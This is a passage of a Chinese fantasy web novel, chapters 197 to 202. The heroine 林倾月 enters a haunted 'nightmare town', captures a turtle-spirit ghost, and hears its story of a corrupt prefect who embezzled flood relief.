最大的不同在于,丰国地处中原西侧,和西域好几个小国交界,时常会有大小战争发生。
因此,丰国的国土面积虽然远胜于齐国,但是国库却并不丰盈,民间也不如齐国富裕。
而联姻,就成了成本最低的怀柔政策。所以,凌雪公主的悲剧也由此诞生。
只可惜,有些路一步走错,就再没有回头的机会。
林倾月一路马不停蹄,又走了几天,就到了丰国边境的戍安县。
戍安县,虽然是边境小镇,但从途径此处,能通鬼方国、宛国、戎国等三国,因此往来客商众多,小县城也极为繁荣。
只是当林倾月穿着一身黑衣,带着黑色的帷帽,站在县城入口的牌楼下时,忍不住皱起了眉头。
牌楼并不少见,作用也多种多样,譬如:功德牌楼、纪念牌楼、标识牌楼、装饰牌楼等等。
戍安县入口的牌楼上刻着“戍安”二字,两侧还有一些题词。很明显,当属于标识类牌楼,起到界标的作用。
怪就怪在,那牌楼的造型很是奇特,一溜六座,一座比一座矮。从下看不觉有他,但若是从高空俯瞰,就像一个张开的棺材口。再加上六又是极阴的数字。
因此,林倾月一眼就看出这并非单纯的界碑,而是一个风水阵。
来来往往的人,从此经过,犹如被棺材吞入,在不知不觉中,被夺取了气运。
气运这种东西,看不见摸不着。但冥冥之中,却可以影响很多事情。
林倾月站在牌楼下,撩开帷帽前的黑纱,轻笑:“欺负百姓无知,夺取气运?当真是好算计啊!”
她抬脚,从牌楼下走过。
旁人看不见,可她每走一步却能感觉到周围气场的变化。
第一座、第二座、第三座……当她走到第六座界牌下的时候,手指翻转间迅速化成了一个符箓,素手一推,那金色的符箓就落到最后一个牌楼的柱子上。
如此一来,不仅破了这个风水局,且还能生出相反的作用。从此牌楼下经过的人越多,幕后者就会被反噬得越厉害。
她才不管那人是谁,有何目的,反正她就喜欢以其人之道还治其人之身。
拍了拍手,她步履优雅地从最后一座牌楼下走出。马车无人驾驶,却顺从地跟在她身后。
到县城里,她随便找了个馆子吃饭。
伙计过来招呼她:“小姐,可要
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住店?县里往来的人多,若是再晚一些,客房都要住满了。不如早早订一间。”
林倾月道:“吃完了饭我还要赶,不住店。”
伙计见她姑娘家家,又没有个同伴,遂好心道:
“再过一个多时辰,天就要黑了。出了戍安县,就出了丰国境内,一路过去山路荒野,要走整整一天的山路才有人烟。因此,途经此地的客人,一般都会在县城住宿一晚。明日一早再出发,路也好走些。”
林倾月从怀里拿出先前买的地图,展开来指了指:“从地图上看,西出戍安顺着这条路,走一个多时辰就有一个平安镇,穿过这小镇,可直达鬼方国。”
伙计瞄了一眼地图,道:“这条路现在封了,不能走。”
他说着指了指另一条路,道:“你若要去鬼方国,最好还是从这条山路走,取道宛国,再转向鬼方国。虽然多了两天的路程,但更安全。”
林倾月闻言不解:“为什么好端端的封路?多绕两天的路程且还是山路,属实麻烦。”
伙计解释说:“小姐一看就是头一次来此的人,不知内情。那小镇叫平安,却一点也不平安。”
“此话何解?不如详细说说。”
“平安镇原属于鬼方国境内隆县治下,原先也算是繁荣,天南地北的过路旅客很多……”
然而,就在11年前。平安镇上,突然出现了一大妖怪。
那妖怪属实狡猾,披上了人皮伪装成普通人,又不知道使了什么迷惑之计,居然还当了隆县的县令。
那妖怪心肠恶毒且贪婪,当了县令之后在本地搅风弄雨,引发了洪灾。
那一年,隆县整个县都给淹了。就连我们戊安也受到波折,水都涨到脚脖子上了。还好,我们这儿地势高些,没两天水就退了。
可隆县就惨了,良田淹没、房屋倒塌,百姓们没吃没喝,眼看就要饿死。
郡里见灾情严重,向朝廷申请了灾粮和灾款。
可恶的是下拨的钱财和粟米,一到县里就全流入了妖怪县令的口袋,只给百姓吃掺了沙子的米……
第197章 梦魇小镇(1)
伙计说到这里都忍不住气愤:“你说的妖怪是不是可恶至极?故意弄出那样的灾祸,为的就是中饱私囊!”
林倾月问:“后来呢?”
伙计撇撇嘴:“贪得太厉害了,肯定要露馅呀!上头来了人,查出他是妖怪的身份,擒拿斩杀了。”
“可那妖怪死后还要作怪,居然将整个平安镇的百姓都给吃了,真是吓**了!”
“而那些无辜枉**又因为怨气滔天,在镇上徘徊不去。好好一个平安镇,就成了鬼镇!凡是知道内情的,都不敢踏足,宁可多绕两天的山路,也不从平安镇。”
“不过也有一些不信邪的人,为了省事取道平安镇。然后……一去不会。”
“听说,凡是踏入那里的人就会犯困。一旦睡去,再也醒不过来。因此,平安镇后来又被戏称为梦魇下镇。”
“由于那镇子实在太邪气了,十多年过去了,现在都成了三不管地带。去年一对丰国的商队在里面失踪,事情闹得挺大。”
“丰国、鬼方国、宛国等附近的几国都出了告示,征集能人异士驱邪,解决此事。可惜,去了几批人,也都是一去不回。邪门得很!”
“哦对了,三天前还有几个胆大包天的捉妖师去了平安镇,到现在都没个消息了。估计也是遭殃了。”
“原来如此。”林倾月点点头,面纱遮挡下看不清她脸上的神情,但伙计觉得她肯定也被吓到了。
于是,伙计又继续推销其自家的客栈:“我们的客房干净,价格又实惠。放眼整个戊安县城,绝对找不到我们这样好的。”
林倾月道:"不需要。我这人脾气怪,最不喜欢绕远路。既然那里没人走,我正好落个清净。"
伙计都准备给她办理入住了,却没想到她居然这么固执不听劝。
伙计失望地哼了一声:“行吧,那在下就祝小姐一路顺风。记得多买些辟邪的物件,免得一去不回。”
林倾月也没在意,吃完饭,又在县城里闲逛一圈,采买了一些东西就坐着马车,出了戊安县。
县城外,果然有两条路,一条延伸过去是重重大山,看着就不好走。另一条却是平坦的小路,一路蜿蜒向前。
出城的路口,有名军士守着。
此刻日暮西山,只见有从山的那头过来,往县城而去。
而从县城出来的,也只有林倾月这一人一车。
守路的军士查看了她的通关文牒后,提醒:“日头快要落山了,山路难行,多悬崖峭壁。最好还是明日再出城。”
林倾月道:“无妨,我不走山路。”
那军士一听,忽然反应过来,惊道:“姑娘,你该不会要去那个梦魇小镇吧?”
旁边另一个军士道:“外乡人不懂也正常,我和你说啊那镇子怪异得很,而且已经被封了……”
林倾月也不着急,静静地听他说完,果然和之前店小二说的一致。
梦魇小镇,有去无回。
“多谢军爷告知。”
说完,林倾月放下车帘坐回车厢内,却依然要走。
“哎哎,说了不能去,怎么不听劝呀?”
那军士有些恼火,拦住了林倾月的马车:“上面有令,为防止再出现意外情况,不允许任何人进入梦魇小镇。”
林倾月微微一笑:“多谢二位好意,不过我并非单纯的旅客。我恰好会一些降妖伏魔的本事,既然要借道而过,正好帮你们解决此间祸患。”
说着,她抬袖子挥起一股劲风,轻而易举就将那两个拦路的军士也给扫开了。
而马车踏着夕阳的余晖,义无反顾向着梦魇小镇的方向而去。
等那两个军士回过神来,马车已然走远。
“哎哎,回来!真不能去!”
“看见没?那马车没人驾车却能自己走?莫非真是能人异士?”
“若真能解决问题也好了,就怕一去不回。三天前去的那三人不也自称本事了得吗,还不是一去不返?”
……
马车行
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了大概一个时辰,前方远远地出现一排屋舍的轮廓,在夕阳的余晖下,莫名显得有几分苍凉。
马车停下,林倾月撩开车帘,就看到前方的路被木桩和大石拦住,只不过其中一块大石头被人挪开,荒凉的小道上隐约能看到几串脚印。
林倾月没有在意那些细节,倒是把目光落在旁边立着的一块木牌子上,只见上头刻着一行小字:
【梦魇小镇,有去无回,请勿擅入!】
林倾月从马车上跳下来,拍了拍马道:“你就别进去了,在外面等我。等我处理完里面的邪祟,你再进来接我。”
那马也不知道听懂了没有,低头啃着路边的野草。
林倾月只拿了一把绯红色的油纸伞,就一脚迈入了梦魇小镇。
小镇的主路是两条交叉成十字的长街,年久失修已经皲裂。
沿街商铺的门板早已朽坏,正吱吱呀呀地呻吟。“酒肆”“食馆”的旌旗褪成灰白,在风里晃悠。
日头彻底划入远山的怀抱,天色骤暗。寒气忽起,惨灰的浓雾从街头巷尾里漫出来,裹住房屋,只剩些模糊的影子。
忽然,浓雾里传来拖沓的声响,接着就见两个身影跌跌撞撞地从灰雾里走出来。
“已经第三天,就是走不出这怪地方!”
“夫君,我快熬不住了,我们难不成真要死在这里?”
“娘子你再坚持坚持,有办法的,肯定有办法出去!”
男人嘴里安慰着妻子,可声音却透着虚浮和慌张。
“夫君你快看,前头有个黑衣服的女子,她……她是人是鬼?”
林倾月朝那两人看去,就见是一对二十多岁的男女。女子的腰间挂着一个八卦罗盘。男子则是一手拿着桃木剑,一手搀扶着身边的女子。
看着像是江湖人士。
女子拿出一个罗盘看了看,道:“法器没有异样,是人非妖!”
林倾月道:“我是过路人,途经此处。你们……看样子不太好?”
第198章 梦魇小镇(2)
“说来惭愧。”男人叹了口气,道,“我们夫妻二人本是丰国的术士,吃的是捉妖去邪的饭。听说这里有邪祟**,加之官方重金悬赏能人异士,故而来此驱邪捉妖。不成想,妖邪的影子都没见到,却被困在此地三天!”
这夫妻二人,男的叫周全,女的叫顺娘。除了他们之外,还有一位六十多岁的老道士,也是为驱邪而来。
这里白天一切正常,然而一到晚上耳边就能听到许多杂乱的声音。
有孩童嬉笑的声音,有妇人吵嚷声,有纷乱的脚步声……四面八方地涌入耳中,却偏偏什么也看不见。
看不见人,也看不见鬼!
当天夜里,他们就摆下了阵法,想要逼邪祟现身,好将其消灭。
可使出浑身解数,都没有任何作用,除了能听到一些乱七八糟所以从四面八方涌入耳之外,依然什么也看不见。
这种情况,在他们以往的经历中是从未出现过的。
他们意识到,即便把邪祟逼出来,也未必能对付得了。于是三人决定连夜撤走。
可惜,为时晚矣。
明明镇子不大,明明出口就在那个方向,可他们转了一整夜就是出不去。
不论从哪个方向,不论怎么走,周围只有黏腻带着血腥味的迷雾,无法摆脱。
转眼天亮,看到初生的太阳,他们仿佛看到了希望,一门心思向东边的方向奔去。
他们记得很清楚,东边就是他们来的方向,只要沿着太阳升起的方向一路向东,就能找到出口。
可走了一大圈之后,却发现自己又回到了原点。
“是鬼打墙!”
周全此刻提起,依然满脸惶恐。
“一般来说,鬼打墙通常出现在夜晚阴气盛的时候。且像我们这种身怀异能的人,能轻易破解。可在这里我们所有的本事全部失灵。走不出去啊!不论白天还是黑夜,即便使劲浑身解数也没办法破局。”
那叫顺娘的女子,眼神已经迷离,喃喃地重复着:“走不出去,怎么都走不出去。我们……我们要死在这里。”
周全道:“娘子,你莫要说丧气话!我们,我们……”
他想要安慰几句,可却自己也根本毫无信心,三天的磋磨早就把他的锐气都磨光了。
忽然,他望着林倾月道:“你敢孤身来此,想来也非寻常女子。你可有什么手段,能救我们出去?”
就在这时,他身边的女子忽然眼帘一合,软软地倒了下去。
“顺娘,顺娘!”周全急忙扶住了女子,想喊醒她。
可无论怎么喊,女子都没有任何反应。
再一抹女子的脉搏,周全顿时满脸绝望,“她……她睡着了!”
林倾月道:“困了,当然会睡着。”
周全道:“睡着了就再也醒不过来了!三天前和我们同时进入这里还有一位老道士。他熬到昨夜,没能熬住也睡着了。后来不论我们怎么喊,他就是醒不过来……”
“这就是梦魇小镇,来到这里就无法离开,最终被困死在梦境里。现在,我的娘子也睡着了,她……她……”
林倾月走过去,抬手在顺娘的额头上摸了摸,道:“魂魄已失,确实有些麻烦。”
周全点头:“对,那位老前辈当时也是这样。睡着之后,魂魄就丢了。”
林倾月道:“若是能在今夜天亮之前把她丢失魂魄找回来,那么还有一线生机。”
这话并未能安慰到周全,男人更加的绝望:“如果找不回来?我们……我们也要死在这里……这到底是个什么鬼地方!”
就在这时候,一阵阴风卷过枯叶贴地刮过,发出刺耳的声音。
林倾月抬头看去,就见长街上的灯光依次亮起,随之人语声传来,嘈杂纷乱听不清细节。
周全苦涩地道:“又开始了。每到夜晚,沿街的铺子就亮了。还有乱七八糟的说话声。可就是看不见任何人,也看不见任何鬼。”
“看不见么?”林倾月眯了眯眼,将周身灵力**到眼睛的周围,于是就
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看到一个个朦胧的影子在街上飘来飘去。
店铺里,也是同样的,人来人往,简直就像是热闹集市。
残影缥缈,人声嚷嚷。
就连周围的景物,也如水月镜花,缥缈虚晃着。
这样的场景好像……好像梦境!
林倾月猛然反应过来,再看身边时,却发现刚才那对夫妇俩已经不见了。
而眼前的景物越来越清晰!
小镇的长街上,有母亲牵着孩子买糖葫芦;有白发老人挑着担子叫卖咸菜;还有坐着轿子的乡绅探头出来和对面的熟人打招呼……一切的一切,生动得好像过往场景的重现。
林倾月正寻思着,突然感觉到身后有人靠近,她猛然回头就要出手,却发现那人居然是东方起。
“月月,你没事吧?”东方起一席白衣,酒肆的灯光斜斜地照来,笼了他一身的暖色。
“东方起,你怎么来了?”
林倾月问了一声后,忽然抬手攥住他的手腕查看他的脉搏:“若是幻象,脉搏会不一样。你有脉搏!”
她又试图去摸他的丹田,却想起男女授受不亲。
正犹豫之际,东方起一把拽住她的手,放到自己的小腹上:“这里是丹田,你探探看。”
隔着轻薄软绵的布料,她不但探到了他丹田里的气息,还摸到了他的——腹肌,紧实感而温热,手感甚好。
忽然她反应过来,抬眸就对上他一双含笑的眼眸。
林倾月急忙收回手,掩下自己的失态:“你怎么来了。”
东方起的笑容一冷:“你倒还好意思问我?我被禁足东宫,还担忧着你的安危。结果你倒好,不辞而别?若非我放心不下,第二天就偷偷溜出东宫,还不知道你居然和我父皇串通到一起蒙骗我!林倾月啊林倾月,你真是叫我刮目相看啊!”
林倾月有些心虚,嘿嘿地笑着:“我这不也是为了你好?你什么身份,岂能像我一样说走就走……所以你还跑出来?你父……父亲能放过你?”
第199章 梦魇小镇(3)
东方起道:“他当然不肯啊,甚至连你的去向都不肯说。可我又不蠢,哪里猜不到呢?尸蚕的案子一出,你就不辞而别,必然是为了追根究底。”
林倾月有些语塞,默了一会儿才道:“我知道这事瞒你是瞒不久的,也没想一直瞒着。所以和你父亲说好了,只关你半个月,待我出了齐国境内就……”
“所以你是觉得,出了齐国境内,我就不会追来了吗?”
“你身份特殊,肩上担子重。我以为你会为大局考虑。毕竟没有人那么蠢,放着大好的前程不要,非要跑出来冒险。”
“放着大好的前程不要?你是在说你自己吗?我也算是你教出来的人,难免有样学样。所以我们俩,要蠢也蠢一起吧!”
“东方起!”
“我并非冲动而为。尸蚕的案子若是不能从根底里解决,难保以后不会卷土重来。不,一定会卷土重来!归元教野心勃勃,图谋甚大。与其等着他们坐大一方,不如我们主动出击。若是以官方的身份去干预很多事情太过被动,不如像你这样微服私访,或许能挖出大鱼。当然,你若是不愿和我同行。那就各自行事,我绝不叫你为难。”
林倾月叹了口气,他的话头头是道,有理有据,实在叫人无法反驳。
"你这一大堆的说词,想了多久?"
东方起挠挠头,刚才的一本正经消失不见,只剩下几分被看穿的窘迫:“也……也就两三天。”
事实上,这一路上他一直在想。
林倾月为什么会不告而别?
为什么那么轻易就可以放下一切?
哪怕这几个月的相处之下,他对自己没有男女私情。可朋友之宜呢?也都分文不值了吗?
为了追上林倾月的脚步,东方起日夜兼程地赶路。终于在三天前,追上了她。
可他追上了,却不贸然出现。
怕她生气。
于是,他一遍遍地在心里排演着见面时该如何对话,用什么样的理由说服她。
“罢了,先把眼前的问题解决了再说其他。”
林倾月神色淡淡,只是在转身的时候,在东方去看不见的角度,她的唇角忍不住勾了勾。
东方起见她没有排斥心中大喜,赶忙追上她的脚步:“小心些,这个镇子处处透着诡异。”
林倾月则很霸气地道:“挡着我去路,再多的诡异,我也要给他掀翻咯!”
这镇子的主街是两条十字交叉的大路,将镇子分为东南西北四片区域。
主街原本应该是很繁荣的,商铺林立,客栈如云。得益于繁荣的经济,附近的民舍,也都是砖瓦房。
以上种种看来,此处的民生较为富裕。
周围人影憧憧,各自忙碌。他们明明已是鬼魂,却依旧在重复生前的一切。
期间,林倾月试着和他们说话,可没有人回答。不管是那些商贩,还是过路的行人,他们似乎都看不见林倾月和东方起。
走了一阵子,迎面遇到了两男一女。
其中一男一女,就是刚才林倾月遇到的周全和顺娘夫妇俩。
另外一位则是头发花白,年约六旬,穿着道袍的男子。
白发老者应该就是刚才周全口里,最初和他们结伴而来,在昨夜就陷入梦境的老道士。
诡异的是,此刻那三人看起来却是好端端,正走在街上左顾右盼,似乎在寻找出路。
那三人渐渐走近,迎面遇到东方起和林倾月却熟视无睹,擦肩而过之后又渐渐走远。
东方起皱眉道:“刚才我远远地看到你和那对夫妇俩谈话,怎么他们现在又好像不认识你了?”
林倾月向着那三人的背影,深深地望了一眼后,道:
“根据之前周全所言,跟他们同行而来的老者,早就已经睡死过去。而周全的妻子顺娘,也是在我眼皮底下,支撑不住睡着了,而后魂魄离开。现在他们仨人却完好无损地出现在这里,那只能说明一个原因……”
“我们刚才遇到的三人,其中两人已经睡**。那么现在才出现的,是他们的魂魄。所以,这里……”
她环视了眼四周:但见昏昏沉沉的夜色下,周围的光线都蒙着一层灰雾。
“…
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…这里,应该是梦境中,我们都被拉入了梦境了。只是现在我还不确定,这是谁的梦境?是刚才那三人其中的一个,还是另有乾坤?”
东方起微微吃惊:“你是说我们进了梦境?什么时候?”
林倾月问:“你刚才在我身后,你看到了什么?”
他回忆着刚才的情景:“刚才,我走进这个小镇后,虽然感觉处处透着诡异,但并没有察觉到明显的危险。”
“后来我看到你和那对夫妇在说话,突然感觉到你们身边的灰雾越来越浓,好像要把你们都吞噬了。所以我情急之下,赶紧上前喊了你。接着就发现这个镇子上的人好像都活过来了。”
听到东方起的话,林倾月更加确定这里是梦境。
自己居然在不知不觉中,走入了一个梦境。
以她的警惕性和实力,一般的邪祟不会那么轻易就影响到自己。
而这里的邪祟,居然可以将自己拉入梦境。
有点意思……
林倾月勾唇一笑:果然到了鬼方国后,连邪祟都变得很强大。
“唰”的一声,她撑开了油纸伞,在邪气弥漫的地方,撑开了一片清明。
引魂铃幽幽作响,温柔浅唱。
街上来来往往的人,在铃声响起的那一瞬间停住动作,向林倾月望来。
林倾月转动着红色的油纸伞,铃铛的声音越发清越,飘向了很远很远的地方,飘入了每一个魂魄的耳中。
“三魂渺渺,七魄幽幽,前尘往事,皆成云烟。”
“无依游魂,莫再滞留。渡尔阴灵,早脱苦海。”
她的声音冷冷淡淡,却自有一股威慑之气。
金色的字芒伴随着口诀而出,落在每一个孤魂野鬼的灵魂深处,指引着他们前行的方向。
小镇上成千上万个被困在梦境里不得脱身的孤魂,仿佛被点化了一般,纷纷追随在林倾月的身后。
就连顺娘、周全,老道士的魂魄,也都乖乖地在人群里排队。
林倾月转头看向东方起。
东方起看懂了她的眼神,稍稍点头并不多言。
第200章 梦魇小镇(4)
周围的亡魂越聚越多,引魂铃“叮叮当当”地唱响。
忽然铃声戛然而止,引魂铃消失,12柄利刃从伞骨梢上探出,透着凌冽的杀气,眼看着就要将聚在将周围的魂魄全部绞杀。
一团黑色的影子突然破空而出,向林倾月袭来。
东方起轻嗤一声:“终于把你钓出来了!”
与此同时,他迅速结印,以手为笔,聚灵力为墨,视虚空为纸,迅速地画出一张巨大的金色符箓,拍向黑影。
那黑夜猝不及防,来不及再攻击林倾月,反手一掌过去——金色符箓非但没有被他打退,反而化成一张金色的灵网让其罩在其中。
周围的魂魄顿时都呆立不动,好像随着那东西的落网,丧失了所有的行动力。
林倾月撑着红色的油纸伞,款步走来,笑声轻盈:“果然是你。”
金色的灵网之下,困住的是周全——林倾月刚刚进入这个镇子时候遇到的那个人。
周全凶狠地瞪着她:“你到底是什么人,居然那么轻易就破我的梦境迷象?”
“你真以为你的手段很高明吗?”
林倾月走到周全身边,一眼就将它的身份看穿。
“我当时什么东西呢,原来一只失去了肉身的妖!死都**,为什么还要**儿?”
人死留魂,妖死之后,若是怨念深重,也会化成妖鬼归来,实力不逊生前。
而眼前这只妖鬼,能困住一个镇的人,还能让踏入此地的人无法离开,可见实力强大。
当林倾月第一次踏入这个小镇的时候,妖鬼第一时间就察觉到了她的存在。同时,他也发现林倾月似乎很厉害。周遭邪气根本无法影响她的认知,和之前来的那些人都不一样。
林倾月浑身上下,透着一股强大的威压感,和之前来的那些人都不一样。
周围的邪气不能伤害到她,更无法将她拖拽入梦。
于是,那妖鬼就铤而走险,俯身在周全的身上,和林倾月说话,以此降低她的警惕性。
在靠得近的时候,妖鬼的迷惑力量也更加强大。
于是神不知鬼不觉的,将林倾月拽入了这个梦境里。
“如果没猜错的话,先前进来的那三人应该都已被你在困在梦里。而你自以为手段高明——也确实厉害,一开始连我都被你蒙骗了,才会踏入这个梦境。”
只可惜,那只妖鬼还是低估了林倾月的实力。
“即便在你制造的梦境里,我依然能轻而易举地,将你擒拿!”
此刻,妖鬼困在网中,只觉网间灵力如潮水般涌来,丝丝缕缕缠上魂魄,越收越紧。
它拼力维系的人身,终是撑不住了,现出了本来面目:竟是一只巨龟。龟壳大得犹如一张圆桌,背甲上裂纹交错,又带着丝丝血痕。
知道此劫难逃,于是那巨龟也不再挣扎。
乌龟的脑袋探出,苍老的声音带着几分无奈:“今日栽到在你们手里,我认命。要杀要剐,悉听尊便。只是……只是那些亡魂被困在这里,十分可怜。请你们,莫要再伤害他们。”
东方起道:“你既然不想伤害他们,为什么还要将他们困在这里不得超生?”
那老龟道:“并非我将他们困于此地。而是整个镇子都被人布下了阵法,别说是这里的鬼魂了,即便是我也无法超脱。十年了,我们都被困在这里整整十年了!”
“你们居然是被迫被困于此的?”东方起有些惊讶。
先前的那些传闻,他也听过。
传说,平安镇妖怪**,吃了一整个镇的人。还将那些鬼魂困在镇子上,不得超生。
于是平安镇成了鬼镇,彻底荒芜。
而戍安县往西的路,也因为这个镇子的封闭,导致过往行人只能多绕几天的远路。
大家虽然怨声载道,却不敢冒险进入这个镇子,否则就会被困在其中,有去无回。
即便是周全、顺娘,这样民间的能人异士也无法脱困。
老龟道:“我并无害人之心,只是这里的鬼魂无法离去,数量最多的魂魄聚在一起难免产生大量的阴气。普通人来此,自然承受不住。至于那些捉妖驱邪的人……他们为灭我而来,我自然不会心慈手软。”
“既然
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外面的人都叫这里为梦魇小镇,那就一直沉睡在梦中吧……”
“只是沉睡吗?”林倾月问?
老龟点点头:“若是不信,放我出来。我让你们看看真实的梦境小镇。”
林倾月的实力远在这老龟之上,何况旁边还有个东方起,自然不怕对方耍花样。
她对东方起道:“先放了他。”
东方起手一挥,那灵网就咻的一身,飞入手中,变回一个符箓,飞回他的手里。
老龟得了自由,四个爪子从龟壳里伸出,又摇身一变成了六十多岁、满头白发的老人模样。身上还穿着灰扑扑的官袍,戴着一顶乌纱帽。
东方起一眼就认出他的装扮:“你穿的是,鬼方国的七品官府?你身前当真如传言那样,是此地的县令?”
老龟点了点头,漆黑的眼珠里落下一抹悲伤:“不错,老夫曾是此地七品县官。**时官服未脱,死后成鬼仍穿着这身装扮。”
他挥了挥手,周遭景致骤然鲜活。亡魂们似从梦中惊醒,营生的、赶路的、吃饭的,十年如一日重复着生前轨迹。
老龟望着这看似兴旺的小镇,语气里满是惆怅:
“此处偏远,穷山恶水,种地地不肥,打渔鱼不丰,山间精怪还常出来作祟。十多年前,鬼方与丰国尚未建立邦交,两国屡屡交战,更是民不聊生,卖儿鬻女者比比皆是。而我,本也是这山中精怪之一……”
有一次,老龟出来觅食的时候不慎走错,到了大路旁,又遇到一骑马的书生。
书生一时新奇将其带回家中,置于书案前当作宠物养。平常里,好饭好肉地喂着,饲养用心。闲暇时候逗弄,聊以解乏。
老龟在山里寂寞了几十年,早就生出了灵智,人类待自己友善,且有吃有喝,便也安居下来不再惦记山里生活。
寒来暑往,它陪着主人读书,也越发聪慧。
有一天,它看着拿着书本摇头晃脑地读书,突然口吐人言:“主人你为何总是拿着书读,不腻吗?”
书生惊讶得手一抖,书本跌落在地,好半天才回过神来。
第201章 梦魇小镇(5)
书生胆大,发现是自己从小养大的乌龟开了灵智会说话后,满心激动,居然也顾不得害怕了。
他告诉龟:“书为精神粮食,一日不食难以安寝。”
那龟更加奇怪:“粮食?吃的?那你为何不吃却总翻来看去呢?”
书生哈哈大笑,道:“此粮食非彼粮食。乃是帮助我们开眼界,长学识的精神食粮。书中能窥日月山河、历史踪迹,能察天地格局、世道沧桑。上至九州风云,下至民生民情,皆在这方寸之间。”
“这么厉害吗?读了书、知道了天地民生,又有什么用?”
“自然是要考科举啊!若能高中,便可出仕做官!”
“官?什么是官?为什么做官?”
“官……官员就是百姓的父母,为百姓谋福利,青史留名!”
那一番话,老龟听得一知半解,迷迷糊糊。
只记得当时主人踌躇满志地道:“将来,我若要为官,必要做为民谋福的好官!”
可世间最遗憾的莫过于,壮志未酬身先死。
他的主人虽然踌躇满志,可惜没有背景,又不通人情世故,一直到了50岁的高龄,也没能高中,最后含恨而终。
临死之前,书生还紧紧攥着书本,满心遗憾:“好可惜呀,我还有好多书没有读完,还没有……”
书生就这样**,带着他的遗憾离开了人间。
而那只乌龟在陪伴主人的几十年的光景,不仅跟着主人一起读了万卷书,还修成了人形。
他幻化出来的外貌和主人一模一样,拿着主人的户籍文凭,继续读书。
几年之后,他用主人的身份去参加了科举,居然一次高中。
寒门子弟,就算读书高中,最终也还是下放到了一个偏远的小县城做了地方官。
这七品县官,他一做就是12年。
没有背景的老实龟,自然也没什么升迁的机会。
哪怕他政绩斐然,不仅将一个偏远的小县城治理得井井有条,在鬼方和丰国停战建交后,第一时间在边境打造了一个小镇,接待两国往来的客商。
短短三年,小镇便成富庶之地,以点带面盘活全县,令整个隆县焕然一新。
全县百姓提起他,无不赞不绝口。
直到十一年前,一场意外猝然降临……
那一年,天空像崩了个洞一样,连续下了三个月的大雨。
整个县城都被淹没,良田成沼泽、房屋亦坍塌,无数县民流离失所,无以果腹。
作为父母官,老龟当然不能眼看着子民被饿死、冻死。
于是,他轻车简从奔去了州府,向自己上一级郡守大人请求下拨赈灾粮食和钱款。
郡守大人很忙,整整等三天才露面。
听了老龟讲述的情况后,郡守大人问:“那你想要多少米、多少钱呢?”
老龟赶忙道:“我县有一万一千二百余口人,每人每月最低要3石粟米。全县至少需要三万三千石头粟米。还有房屋修缮、堤坝重铸,需要银钱10万两。”
“三千石粮、十万两银啊……”郡守大人沉吟着,没有往下说,好像在盘算些什么
老龟生怕被拒绝,无比焦虑地道:“大人,若是三万太多,稍稍少一些也可以。救人如救火,请大人莫要犹豫,开州府粮仓救民于水火之中啊!”
他磕了一个又一个的头,额头都浸出了血来。
郡守这才悠悠开口:“起来吧,本官岂是那种见死不救的官员?何况府库的粮是国家的,又非个人私有,本是要用在关键的时候。放心吧,本官一定会救你们县。”
老龟闻言,心头松了口气:“多谢大人,我县里的百姓总算有救了!”
郡守捋着黑色的美髯道:“本官方才在想,你只要三万石粮食,会不会不够?灾后的房屋要重新修缮,大坝也得铸造得更加牢固,不能省钱!此外良田的种子,是不是要重新购买播种?还有,药材也得齐备……”
老龟以
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往每每求见郡守大人,想拿点拨款搞些建设,都是千难万难。
所以这一次,他不敢失望太多,只想先把粮食要到了把灾民养活后,再说其他。
没想到,郡守大人却一改往日脾气,主动提出诸多后续的赈灾事物。
老龟一时有些感动:“大人,若是还有其他的物资那就再好不过了!”
“当然有,必须有!”郡守大人笑呵呵地道,“你们县里这几年发展得很不错,税收都大大提高了。来此任职的几任郡守,也跟着沾了光,提了官衔。本官当然不会看着你们县的人活活饿死!”
他思忖着道:“就按本官的意思,就给你们一百万石的粮食,再拨一百二十万两银子。如此可好?”
老龟一愣之后,忽然又摆手:“一百万石的粮食太多了,若是宽裕的话十万就够了。还有银子,其实也用不到那么多,能有个十来万两就已足够!”
粮食太多,天气又潮,万一糟蹋了东西怎么办?郡守大人慷慨,自己也不能不知道好歹啊!
“哎呀,你这迂腐的老东西啊,谁还嫌钱多米多呢?就按本官说的数定了!”
“大人,您真是……真是慷慨得让人感动!下官替全县百姓叩谢大人的再生之恩!”
“起来起来,都是为了百姓好,何必多礼?”
“不过……”郡守话锋一转,又道:“……你也知道,本官的上级还有上级。这么大一笔粮款,若不打点一二,恐怕上面的大人会卡。所以……你该懂得。总之,最后到你们县的粟米为1万石头。”
“一万石粮?大人,那刚才那一百万石……还有灾后修建房屋的银子……”
郡守的脸冷了几分:“你怎么就听不懂人话呢?难怪你当了十几年还是个七品县令!若是不给什么打点,你连一粒米都拿不到!”
这下,老龟听懂了。原来,郡守那么大方开出的米粮、银钱,全是为了打着赈灾的幌子中饱私囊!
第202章 梦魇小镇(6)
“大人,银两暂时先缓缓,可是粟米必须要给够。全县那么多人,一万石根本撑不住一个月啊!”
郡守大人闲闲地品着茶,漫不经心地道:“撑不到一个月,那就撑半个月。你不是很有能力吗?不是能把一个贫困县,建设成富裕大县吗?难道连这点本事都没有?”
老龟苦口婆心求了好一阵,最后郡守大人恼了:“本官日理万机,陪你说了这半天已是难得!就一万石,若不想要就直说!”
说罢甩袖而去。
老龟没办法,虽然给的少,可好歹也有一万石粟米,能够在灾民们撑几天也好。
可当老龟将那一万石粟米运回县里,准备分发的时候,却发现那些粟米里掺了一半的沙子。
他气愤不过,跑去质问郡守,为什么要在米里掺沙。
郡守一拍桌子,喝道:“一万粟米,是你亲眼看着过得秤!后来怎么会有沙子,谁知道是不是你手下的人手脚不干净,偷了粟米后又混进了沙子滥竽充数?现在你来质问本官,你哪来的胆子?”
老龟扑腾一声就给跪了,涕泪横流地哀求:“大人啊,那些粟米都是要拿来救命的啊!求大人开恩,再给我们点粮吧!县里几万子民,有八旬老人,有襁褓婴儿,都在眼巴巴地等着救命啊,大人!”
郡守只一味冷笑:“有的吃,就该知足!活不下去,不够吃?不还可以卖儿卖女典妻吗?都是些贱民而已,总有法子活下去。”
“你说的是人话吗?”
老龟一改往日的懦弱,气恼地瞪着郡守:“你是一府郡守,我是一县之长,不都是百姓的父母官吗?怎可眼睁睁地看着自己的子民走向绝路?你怎么对得起你穿的那一身官袍?”
“放肆!小小一个寒门出生的七品县令,居然也敢和本官大呼小叫?来人,打出去!”
老龟彻底发了怒,挥手间就将十几名差役全部打倒在地。
那郡守吓了一跳,赶忙就想跑,却被老龟一把掐住了脖子。
老龟红着眼道:“下官本不敢冒犯大人。这么多年来,下官一直谨记做人做官的本分,不敢有任何逾越之举!可是你们……你们欺人太甚!”
“欺负我不要紧,可我不能让我的百姓被你们欺负!”
